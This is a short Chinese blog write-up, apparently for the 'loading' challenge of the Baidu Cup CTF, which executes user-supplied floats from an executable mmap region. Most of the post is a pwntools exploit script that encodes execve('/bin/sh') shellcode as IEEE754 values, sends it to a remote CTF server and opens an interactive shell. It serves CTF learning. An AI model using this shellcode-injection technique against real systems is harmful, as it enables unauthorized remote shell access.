2019-11-17摸鱼二号

2019-11-17  本文已影响0人  好大一只免孑

“百度杯”CTF比赛 十一月场loading


图片.png

首先需要了解一下mmap函数,mmap函数相当于申请一个可写可执行的区域。这里最后执行了这个区域

这个程序做的事就是 读入了一个有符号整数,把数除以2333的浮点数值写到mmap的区域里。

这里就需要了解浮点数在内存中保存的方法。
因为是有符号的整数,实际整数的范围是受限制的,我们可以通过输入的数字控制变化为十六进制过后的中间的字符。这道题的原题是pctf2016的一道题

这个是那道题的解题思路
http://ajou-whois.org/write-up/2017/11/17/fixedpoint.html

import struct
import pwnlib
import time
 
 
def get_int(s):
  a = struct.unpack('<f', s)[0]* 2333
  return struct.unpack('I', struct.pack('<I', a))[0]
 
 
target = pwnlib.tubes.remote.remote('106.75.2.53', 10009, ssl=False)
 
print "Sending IEEE754 shellcode..."
time.sleep(1)
 
for i in range(3):
  target.sendline(str(get_int('\x00\x00\x00\x00')))
 
target.sendline(str(get_int('\x99\x89\xc3\x47')))     # mov ebx, eax
target.sendline(str(get_int('\x41\x44\x44\x44')))     # nop/align
 
for c in '/bin/sh\x00':
  target.sendline(str(get_int('\x99\xb0'+c+'\x47')))  # mov al, c
  target.sendline(str(get_int('\x57\x89\x03\x43')))   # mov [ebx], eax; inc ebx
  
for i in range(8):
  target.sendline(str(get_int('\x57\x4b\x41\x47')))   # dec ebx
  
target.sendline(str(get_int('\x99\x31\xc0\x47')))     # xor eax, eax
target.sendline(str(get_int('\x99\x31\xc9\x47')))     # xor ecx, ecx
target.sendline(str(get_int('\x99\x31\xd2\x47')))     # xor edx, edx
target.sendline(str(get_int('\x99\xb0\x0b\x47')))     # mov al, 0xb
target.sendline(str(get_int('\x99\xcd\x80\x47')))     # int 0x80
 
target.sendline('c')
target.interactive()
图片.png
上一篇 下一篇

猜你喜欢

热点阅读